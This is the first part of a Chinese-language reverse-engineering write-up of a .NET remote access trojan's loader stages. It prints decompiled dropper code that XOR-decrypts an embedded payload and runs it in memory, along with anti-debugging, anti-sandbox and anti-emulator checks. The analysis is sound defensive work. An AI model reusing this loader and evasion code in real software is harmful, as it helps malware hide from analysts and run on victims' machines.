對DOTNET(.NET)中的惡意遠端訪問程序進行分析(上)
DOTNET背景知識介紹
DOTNET就是.NET, 嚴格說是:.Net Framework框架 。但為什麼叫DOTNET(.NET)呢?在計算機行業DOT是Distributed Object Technology的簡稱,意為分散式物件技術。DOT恰好與“點”的英語單詞相同,DOT的音標[dɔt]。.NET是一個微軟開發的程式設計環境,裡面可以使用C#,VB等多種程式語言。
藉助於.NET平臺,可以建立和使用基於XML的應用程式、程序和Web站點以及服務,它們之間可以按設計、在任何平臺或智慧裝置上共享和組合資訊與功能,以向單位和個人提供定製好的解決方案。
.NET是一個全面的產品家族,它建立在行業標準和Internet標準之上,提供開發(工具)、管理(伺服器)、使用(構造塊服務和智慧客戶端)以及 XML Web 服務體驗(豐富的使用者體驗),.NET將成為你今天正在使用的Microsoft應用程式、工具和伺服器的一部分。.NET目前的版本共有:
1.2003年的 .net 1.0 1.1;
2.2005年的 .net 2.0;
3.2008年的 .net 3.0 3.5;
4.2010年的 .net 4.0;
5.2011年的 .net 4.1;
6.2015年的 .net 4.6;
在本文中,我們會對DOTNET(.NET)中的惡意遠端訪問工具進行分析,本文所講的RAT樣本可以在 ofollow,noindex">VirusBay 上找到。此外,這是一個 本地映象 。 為了在對樣本講解時,避免發生惡意執行,這個壓縮檔案的密碼已被加密。不過,我可以給出一些簡單的樣本資訊。
MD5: 5a762e5381d28524d554499a2337ae34 SHA-1: c24ce7b94588a08f4a9ddfc8554ad419f1a641d9 SHA-256: 6451dad939c9bdab292445db5668deb2059d524dcfc97fa2216c4736a2c0f3e4 File type: application/x-dosexec File size: 605.5 KB Detection rate: 26 / 67
編輯程式碼
在編輯程式碼時,有些人可能更喜歡IDE(Integrated Development Environment,整合開發環境),不過在本文所舉的樣本中,既可以使用Visual Studio,也可以使用dnSpy(dnSpy 是0xd4d 開發的 .NET 程式除錯神器。說它是神器真的毫不為過!它能在完全沒有原始碼的情況下即時除錯程式,甚至還能修改程式!)中的編輯功能,只要能夠完成分析即可。在本文的實操中,我使用的是由dnSpy生成的匯出專案。為了開啟、編輯和執行這些專案,我使用了Visual Studio 2017 Community Edition。要使用這種方式,我就不得不修改某些部分的程式碼,以保持反編譯程式碼的可執行性。如果你使用的是不同的工具,則可能需要對配置進行不同的更改,這點很重要。
載入程式——第1階段
二進位制檔案使用了.NET編寫,dnSpy在選擇LJFES.exePTX.exe時針對的是特定的.NET版本,資訊如下所示。
Runtime: .NET Framework 2.0
注意,二進位制檔案還同時給出了應用程式的入口點,這是分析的起點。請注意,名稱空間和類以及方法都是給定的。
ZTXNOIRBCXBXUMZRCRBVONMOE.CUCIZZCCOCRRXIIOZIOOEIRCUITOT.Main
主函式會呼叫很多函式,幾乎所有函式都被儲存在同一個類中。這其實是攻擊者採用的一種混淆形式。此外,由於名稱不可讀,這些名稱也被混淆了。完整的主函式如下所示,然後在後面的分析中,我們會使用一個簡化了的版本。
public static void Main(string[] BNCONUTZUNZVBXZBCXCXNVIRCUXRBVRMRIUIVOIEZIMCVIZVCUZEXIUVBIBMCNCCTNMVUROMXBICBZBEIIUTMTEZBERBMRVVENVMEMTE){ CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QHJFMHF(38631, 98479); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SNQBXWTXMUKB(new byte[53106]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PUYFLGGDOAYJ(121312, 86355); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LMQIIMGGOR(new byte[12476]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GFJCCSOR(26136, 49680); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.UJFSXGAZQMBM(new byte[130305]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.UTAUPRBKY(61078, 60438); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KDBCANTHNL(new byte[67947]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GUPPZKMOUTHS(48613, 111162); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SWWFQBCVE(new byte[68443]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.FMLAZRZYNVOG(50291, 77251); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ZJMQXDLXT(new byte[92735]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YFXJVV(29395, 92506); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QUSDTFXR(new byte[79830]); byte[] array = (byte[])new ResourceManager("CIUUMCBVZROMITOIVM", Assembly.GetExecutingAssembly()).GetObject("CIIVMOCZIUEZBIBMECURIIXRXROXR"); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.AXNFFLXLOSIA(63805, 46381); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ABDLEDZAXPI(new byte[28547]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.FIYHHBBYKAQO(1077, 107426); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WVNGHSRNNRW(new byte[7210]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YMFKLGT(84717, 131741); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.DUGKLHAIZSIC(new byte[112375]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GSMNUCDDYP(26809, 96205); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.RXLHFDN(new byte[70296]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.IIYFVXDCL(110008, 123655); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YCIFEQTKIMBH(new byte[66557]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.XPJPEETESWNQ(85352, 44300); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.FRRNVGVUPKAK(new byte[26150]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JTHDUJAD(70044, 102451); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LXJKMUOUETOB(new byte[33786]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KGNXTBFTLZ(126533, 49848); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.CLQMOSHU(new byte[57574]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.OYDCPYBAAAE(86430, 64473); byte[] array2 = cunkai.notin("BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU"); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.RVLEDLYWW(new byte[10756]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PXBHPDWVN(56567, 105039); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.OKAVSWEEQ(new byte[107989]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VDRXKVIH(35558, 40262); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KQIBXGQD(new byte[53143]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MCKHBLWK(66087, 21650); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WJSGJDAR(new byte[93091]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LTOLOAMNUOAN(128620, 111623); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.HBDIBJKKQCOJ(new byte[97335]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VEKZJUAIM(29887, 102596); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LCATOKVEKPTZ(new byte[127254]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GSCIXMB(107196, 77484); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KKQMEBZIO(new byte[92008]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ETOWGFYK(92973, 12027); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.CNLDDWEMLUWT(new byte[92545]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MSCKMMHT(96916, 131543); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.HYNFUAVORGAY(new byte[117518]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GIEPJ(1124, 114459); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.NVDUSBKTHWPY(new byte[67584]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.BNSXJHLJCQFS(77591, 129966); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KAOYXHWXPKHW(new byte[56030]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QEJDHVDEKU(29036, 100059); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QBHYSFNDODCG(new byte[79456]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LTDEHVQCEIF(68483, 125888); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KPCPFNZHKQKR(new byte[75813]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YLWLSJ(78413, 88572); for (int i = 0; i < array.Length; i++) { byte[] expr_3C8_cp_0 = array; int expr_3C8_cp_1 = i; expr_3C8_cp_0[expr_3C8_cp_1] ^= (byte)(array2[i % "BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU".Length] >> i + 5 + array2.Length & 150); } CUCIZZCCOCRRXIIOZIOOEIRCUITOT.HHYRMSBR(new byte[85113]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ESZUWZDBNUD(65224, 60464); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EEGMUGMVG(new byte[3647]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MLHHVQIIIBOT(10216, 103751); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WKLCOISDVBWB(new byte[66068]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QJHOFGGLMD(74547, 62481); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JNTMBQJXAF(new byte[50952]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VVZJGCLEJZHM(46655, 101301); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SBJFUSJPIKL(new byte[4035]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.OGIXEORWXDWD(121228, 88544); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YTPHVSUJ(new byte[96233]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.FBQUULKKQAGP(15281, 104569); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.DSTNWXQOBH(new byte[120349]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KLSGDKG(39153, 1316); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JLKNRQLMIVLU(new byte[73582]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SRIXURKILV(44588, 2102); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.IGOGIYKH(new byte[4778]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.NQAVW(29351, 49183); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EIMCQZZD(new byte[124507]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.UGZYFB(75038, 131858); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.KCLEJTCLDQPE(new byte[107104]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ADQYTSVPQGBG(125381, 125207); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.CFBZKGCAEQJI(new byte[90505]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.TNKAZYFCFZUV(73670, 116380); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.BKRNZLORRYP(new byte[111850]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EFGNNXCWX(4846, 92862); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.BTPNIKAUMPE(new byte[58549]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QWZIUZMJVFTG(5632, 56508); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.TYWCHBLIGSZH(new byte[47524]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EIIXCFCNLEAG(110891, 35167); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JNYNDYHTODO(new byte[77354]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JKQLANHCJYWK(132457, 92627); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PJUEGQPH(new byte[43089]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MWXDG(4743, 121556); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.OEZJVAQKLDW(new byte[66796]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QGMEUFVGXCK(46630, 8522); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.NQSOHIQAVWF(new byte[78875]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MTSDJEJIU(102858, 13820); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ORKAPSQRMZT(new byte[20637]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.REORSSMNQOTJ(126406, 91441); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.OEDJJXAOIBZ(new byte[60647]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.XEKBYWCKZYA(83408, 104304); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.XCGFVUXSIJL(new byte[35931]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.NHWHLZMPJ(82607, 62439); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ECJXKKSOEFJG(new byte[35098]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.MDLHCRUKJGAA(52580, 44716); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EGARDBWBEBN(new byte[63103]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.CQDFUFY(129160, 20890); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.UNAGZB(new byte[15161]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.GIGFUOPPJKOV(1217, 64904); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VNGSBPECZGHV(new byte[30783]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ZUSXOBUBULG(27351, 45844); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SEQKDYLUYADQ(new byte[53847]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.CWEJIC(84696, 31412); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YTRBEMX(new byte[91720]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.FZDZRUQYCWI(93837, 107976); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JPYAJPYBNJN(new byte[39570]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.TQAUKKQFRJMI(129146, 81054); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WIAMTKSLMQGF(new byte[109260]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VAHGJRMXJTS(44178, 68995); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QJOHZVTGYBUY(new byte[36782]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.RUFJQNAFUDKW(101320, 39551); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.UFPBSRMMDWSY(new byte[18643]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.BEGNXSDMLDC(27534, 71029); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.YBZJVK(new byte[50494]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PWWNWWZKUDCV(37041, 73409); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ZPFJJYJA(new byte[93788]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.ZLRLXUILEFUC(20356, 95080); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.SBXQARBAJN(new byte[83868]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PIXHOHTHJKUN(119417, 101495); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QWJLPP(new byte[7859]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.PPLWQVWRIAP(11079, 7257); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WYSUUDIGDDIH(new byte[122537]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.AEGZKKGIBOI(49566, 112500); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.HYPXGGBWYKZ(new byte[2126]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.EPIXZZNHOMMJ(99796, 125510); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.JZOZSCWGZ(new byte[13728]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.LHIDXLECQLAX(110239, 59031); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.WTRGETKVKOCH(new byte[25328]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QSXKJRHJ(100070, 95973); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QHTAMMXGYEZT(new byte[126768]); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.VBOSOMZUUG(17667, 72841); CUCIZZCCOCRRXIIOZIOOEIRCUITOT.QFLRSHETGLKK(new byte[15102]); cunkai.kazmaz(array, BNCONUTZUNZVBXZBCXCXNVIRCUXRBVRMRIUIVOIEZIMCVIZVCUZEXIUVBIBMCNCCTNMVUROMXBICBZBEIIUTMTEZBERBMRVVENVMEMTE, 25);}
快速瀏覽CUCIZZCCOCRRXIIOZIOOEIRCUITOT類中的函式,通過這些資訊,足以瞭解此段程式碼是垃圾程式碼。其唯一目的是增加分析師的難度。下面給出了其中一些函式:
public static uint QHJFMHF(int KXKXKNHS, int SODCVNJYHKU){ return 188317u;} // Token: 0x06000002 RID: 2 RVA: 0x00002060 File Offset: 0x00000260public static byte[] SNQBXWTXMUKB(byte[] OOMWSKNQIED){ return OOMWSKNQIED;} // Token: 0x06000003 RID: 3 RVA: 0x00002064 File Offset: 0x00000264public static uint PUYFLGGDOAYJ(int YYKUVHI, int GKZTRRU){ return 94478u;} // Token: 0x06000004 RID: 4 RVA: 0x0000207C File Offset: 0x0000027Cpublic static byte[] LMQIIMGGOR(byte[] ZTHDVNTLJYEP){ return ZTHDVNTLJYEP;} // Token: 0x06000005 RID: 5 RVA: 0x00002080 File Offset: 0x00000280public static uint GFJCCSOR(int QGUGXDOBJD, int QRIWWUFTYCG){ return 117451u;}
在刪除主類中的垃圾呼叫後,程式碼變得更具可讀性。
public static void Main(string[] BNCONUTZUNZVBXZBCXCXNVIRCUXRBVRMRIUIVOIEZIMCVIZVCUZEXIUVBIBMCNCCTNMVUROMXBICBZBEIIUTMTEZBERBMRVVENVMEMTE){ byte[] array = (byte[])new ResourceManager("CIUUMCBVZROMITOIVM", Assembly.GetExecutingAssembly()).GetObject("CIIVMOCZIUEZBIBMECURIIXRXROXR"); byte[] array2 = cunkai.notin("BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU"); for (int i = 0; i < array.Length; i++) { byte[] expr_3C8_cp_0 = array; int expr_3C8_cp_1 = i; expr_3C8_cp_0[expr_3C8_cp_1] ^= (byte)(array2[i % "BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU".Length] >> i + 5 + array2.Length & 150); } cunkai.kazmaz(array, BNCONUTZUNZVBXZBCXCXNVIRCUXRBVRMRIUIVOIEZIMCVIZVCUZEXIUVBIBMCNCCTNMVUROMXBICBZBEIIUTMTEZBERBMRVVENVMEMTE, 25);}
第一個陣列名為array,它相當於是嵌入式內容CIIVMOCZIUEZBIBMECURIIXRXROXR。第二個陣列相當於cunkai.notin的返回值。之後的for迴圈會使用兩個陣列,執行一些計算來改變原始陣列。然後,呼叫另一個未知函式。
buzi名稱空間中cunkai類中的註釋函式很簡單,如下所示。
public static byte[] notin(string kesten){ return Encoding.ASCII.GetBytes(kesten);}
第二個未知函式kazmaz呼叫thunda函式,但如下所示,名為faga的變數從未在函式中使用過,因此是垃圾程式碼。
public static byte[] kazmaz(byte[] haspu, string[] mushenik, int faga){ return (byte[])cunkai.thunda(haspu).EntryPoint.Invoke(null, new object[] { mushenik});}
thunda函式的返回值用作位元組陣列,然後呼叫此位元組陣列的入口點。看看thunda函式,就會發現載入程式的作用是顯而易見的。
public static Assembly thunda(byte[] trunda){ return AppDomain.CurrentDomain.Load(trunda);}
將名為trunda的給定位元組陣列載入到記憶體中,然後使用字串陣列mushenik中的項作為引數,呼叫載入的程式集的入口點。
可以使用dnSpy中的匯出函式(位於“檔案”選單項下)或複製程式碼和其中的內容。可以通過在dnSpy中右鍵單擊並選擇Raw Save [name].來複制其中的內容。請務必摺疊所有樹中的節點,以避免將專案儲存時的過度堆疊。
由於在複製程式碼時,ResourceManager並不會開箱即用,因此它被新增到所使用的新Visual Studio專案的內容中。可以使用 Properties.Resources.[name]引用這些物件,另外還值得注意的是,新專案有自己的入口點,應該相應地設定反編譯程式碼的主函式。在本文的示例中,我使用了我自己的專案的主函式,然後呼叫了載入程式的主函式,我將其重新命名為execute。修改後的程式碼如下:
public static void execute(string[] args){ byte[] array = Properties.Resources.CIIVMOCZIUEZBIBMECURIIXRXROXR; byte[] array2 = LoaderClass.GetAsciiStringAsBytes("BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU"); for (int i = 0; i < array.Length; i++) { byte[] arrayCopy = array; int additionalCounter = i; arrayCopy[additionalCounter] ^= (byte)(array2[i % "BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU".Length] >> i + 5 + array2.Length & 150); } //LoaderClass.LoadAndExecute(array, args, 25); File.WriteAllBytes("asset.exe", array);}
執行惡意軟體的程式碼行有一個無用的引數,即25。這是LoadAndExecute函式中未使用的引數。陣列不會執行其中的內容,而是被寫入磁碟以進行進一步分析。
小結
由於要分析的內容往往穿插在各個階段,所以在分析過程中牢記各個階段的功能是有幫助的,這可以幫助我們進行下一個階段的分析。在本例中,傳遞給原始二進位制檔案的引數被傳遞給第二階段的dropper,快速總結二進位制程式碼的行為可以為以後的分析提供一個清晰的思路。
1.Dropper載入有加密的內容;
2.Dropper載入有硬編碼的解密金鑰;
3.壓縮檔案被解密;
4.解密的內容被載入到記憶體中;
5.然後執行載入的內容;
6.提供給dropper的引數將傳遞給已載入的內容
載入程式——第2階段
asset.exe檔案也是Dot Net可執行檔案,就像第一階段dropper一樣。使用dnSpy,可執行檔案的原始名稱變為可見:LJFES.exe。可執行檔案的入口點是AA1.AA3.Main,這是分析開始的位置。在這個可執行檔案中,沒有其他名稱空間和類,這大大簡化了分析過程。簡化後的函式如下:
這段程式碼看起來好像是由塊組成的,且包含許多if語句。不過這些if語句程式碼塊的內容不是相關的,只有通讀完所有塊,才能瞭解關於被分析部分的大量資訊,這些部分可以是函式或類。注意,雖然需要閱讀程式碼,但不需要完全理解每一行。不過稍後在詳細分析時,充分理解程式碼是很重要的。為了說明這一點,將對LJFES.exe的主函式進行分析。
主函式中的每行程式碼都在try-catch結構中執行,catch-clause使用Exception類捕獲任何異常。異常顯示在訊息框中,這個過程是可見的,可能表明惡意軟體仍在開發中,是個測試版本。
下一個塊是一個執行多個函式的if語句。如果滿足語句中的任何條件,程式將自行終止。在遍歷一些程式碼行之後,找到最後一個(也就是最大的)程式碼塊。如果型別的名稱是RunLib,則會遇到四個if語句,如果滿足條件,則每個語句都呼叫給定的RunLib的組成部分。這很可能是惡意遠端執行中的關鍵部分,因為它對其中所存在的功能以及這些功能的原始碼所在的位置,都瞭如指掌
依據上述分析,我們就可以詳細檢視一遍程式碼了。這一次的目標是完全理解,並對程式碼分析。與第一個二進位制檔案不同的是,在這個類中並不是所有的欄位或方法都被混淆,比如下面給出的第一個if語句。
可以從此函式的名稱中,清楚地瞭解它的用途,其中第一個、第三個和最後一個函式(即D)的第一個字母最有可能表示檢測。為確保函式的功能和其名稱相符,我們將從DWireshark函式開始對它們進行分析。
private static bool DWireshark(){ Process[] processes = Process.GetProcesses(); foreach (Process process in processes) { if (process.MainWindowTitle.Equals("The Wireshark Network Analyzer")) { return true; } } return false;}
如果正在執行的任何主視窗標頭明確表示了Wireshark網路分析器的程序,則該函式返回true。這會導致惡意軟體關閉,從而避免被分析。
接下來是第二個函式,名為IsDebuggerPresent。為了避免被除錯,惡意軟體經常檢測偵錯程式是否附加到程序中。
[DllImport("kernel32")]private static extern bool IsDebuggerPresent();
使用kernel32內部的本機函式,返回一個布林值,該值取決於是否附加了偵錯程式。接下來是第三個函式,其程式碼如下。
系統的正常執行時間(以毫秒為單位)可以通過Environment.TickCount欄位獲得。這兩個值之間的睡眠也應該是兩個儲存值之間的近似差值,模擬器通常會對sleep函式進行修補,從而有效地跳過程式應該休眠的時間。這樣,使用持續時間為幾分鐘的睡眠呼叫,無法避開模擬器。
由於作業系統的排程,睡眠時差可能比給定值略大或略小,但不會超出很多,然後將睡眠時間與兩個儲存值之間的差異進行比較。請注意,這個差異值有時小於睡眠時間(基於我自己在概念驗證中編寫此類檢測時的測試),這會導致此惡意軟體在某些不確定情況下被關閉,而sleep函式也沒有被檢測。
最後一個函式的程式碼如下:
[DllImport("kernel32.dll")]public static extern IntPtr GetModuleHandle(string lpModuleName); private static bool DSandboxie(){ return AA3.GetModuleHandle("SbieDll.dll").ToInt32() != 0;}
使用本機函式GetModuleHandle(儲存在kernel32.dll中),可以獲得指向控制代碼的指標。如果這個指標不是0,則意味著DLL已經被載入。如果它就是0,DLL就沒有被載入到記憶體中,因此應用程式不在Sandboxie沙箱中,Sandboxie是我們測試是用的工具,Sandboxie是一款較為著名的系統安全工具,允許你可以在沙箱環境中執行軟體, Sandboxie會幫你清除一切痕跡。包括上網、程式執行痕跡或是在Sandboxie沙箱程序中下載的檔案痕跡等。還可用來還原登錄檔、主頁、收藏夾等。
如果沒有檢測到函式返回true,則繼續執行程式。環境檢測和具有所謂金鑰功能的if語句之間只有10行程式碼。這10行程式碼的內容如下:
string golemiq = "BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU"; bool flag = true; bool flag2 = false; bool flag3 = true; bool flag4 = false; byte[] array = (byte[])new ResourceManager("BNXEITRNUMETMXIM", Assembly.GetExecutingAssembly()).GetObject("CCMIBETXUERE"); string[] array2 = Regex.Split(Encoding.Default.GetString(array), "kozqk"); byte[] malkopute = new byte[255]; Assembly assembly = AppDomain.CurrentDomain.Load(AA3.bigdick(Encoding.Default.GetBytes(array2[1]), malkopute, golemiq)); byte[] array3 = AA3.bigdick(Encoding.Default.GetBytes(array2[0]), malkopute, golemiq);
稍後,名為golemiq的字串在函式calld bigdick中使用。在第一次使用中,設定變數元件。第二次使用中,設定變數array3, bigdick函式的程式碼如下。
public static byte[] bigdick(byte[] feromero, byte[] malkopute, string golemiq) { malkopute = Encoding.ASCII.GetBytes(golemiq); for (int i = 0; i < feromero.Length; i++) { int num = i; feromero[num] ^= (byte)(malkopute[i % golemiq.Length] >> i + 5 + malkopute.Length & 150); } return feromero; }
函式宣告中的名稱和主函式中使用的變數的名稱相同,第一個變數在函式末尾返回。因此,將此變數重新命名為output是合乎邏輯的。
第二個變數是計算期間在函式內執行的輸入,用於根據自定義加密方法更改輸出內容。因此,此時變數將重新命名為input。
最後,提供的第三個引數將轉換為位元組陣列並存儲在輸入內容中。這是所使用的自定義加密的金鑰,因此按照邏輯要對這個變數金鑰進行重新命名。
另外函式的名稱也可以更改為更有意義的內容,例如decrypt,因為它表示次函式會返回一個更改後的位元組陣列。稍後我們將使用該陣列,下面就是重構後的程式碼。
public static byte[] decrypt(byte[] output, byte[] input, string key) { input = Encoding.ASCII.GetBytes(key); for (int i = 0; i < output.Length; i++) { int num = i; output[num] ^= (byte)(input[i % key.Length] >> i + 5 + input.Length & 150); } return output; }
名為flagN的變數(其中N是一個數字)只被設定一次,之後就再也不會改變。這一點很重要,因為呼叫載入庫中的函式的if語句是根據這些flagN布林值的值執行的。只有當值為true時,才會呼叫該函式。由於兩個flagN布林值被設定為了false,因此這些函式將永遠不會被呼叫。這是惡意軟體可能仍處於開發階段的另一個證據,或者,它可能還在不斷迭代中。
名為array的變數就是名為CCMIBETXUERE包含的內容。在下一行中,它基於字串kozqk進行拆分,變數程式集被設定為拆分內容的第二項值的解密值。
名為array3的變數就是第一個拆分內容值的解密值,在根據函式和欄位的描述重新命名它們之後,主函式的第一部分是清晰可讀的,如下所示。
注意,有關檢測技術的行Environment.Exit(0)因為除錯目的,已被註釋掉了。其中的內容也被修改了,因此它可以在Visual Studio專案中被正確載入。
接下來,主函式會從assemblyPart2程式集中選擇RunLib型別,這是一個關於程式集檔案型別的線索——庫,為了獲得對其的描述資訊,我們會首先找出一個用來描述的概括性程式碼。
請注意,反編譯程式碼中沒有程式碼BindingFlags.InvokeMethod,使用的是value 256用於反編譯程式碼。該值就是程式碼中使用的列舉值。由於Visual Studio無法處理列舉的直接值,因此它已被替換,確切的值可以在 這裡 找到。
此外,按照邏輯,最後一個if語句中的內容此時應該被調整為Visual Studio裡的合適函式,但實際情況卻並非如此,這可能是惡意軟體仍在進一步研發的另一個標識。預設情況下,決定執行此命令的標誌會設定為false(並且永遠不會更改),這就是為什麼執行永遠不會發生的原因。
其中的程式碼會有很多重複,因為它在每個if語句(共有五個if語句,會在下篇講到)中都會呼叫一個函式。然而,細節卻略有不同,其中給定的方法名稱和函式的引數都會顯示函式的內容。
本文所講的示例中,載入程式共分了三個階段,其中階段三又分為兩部分,本篇先將前兩個階段,第三階段會在下篇講到。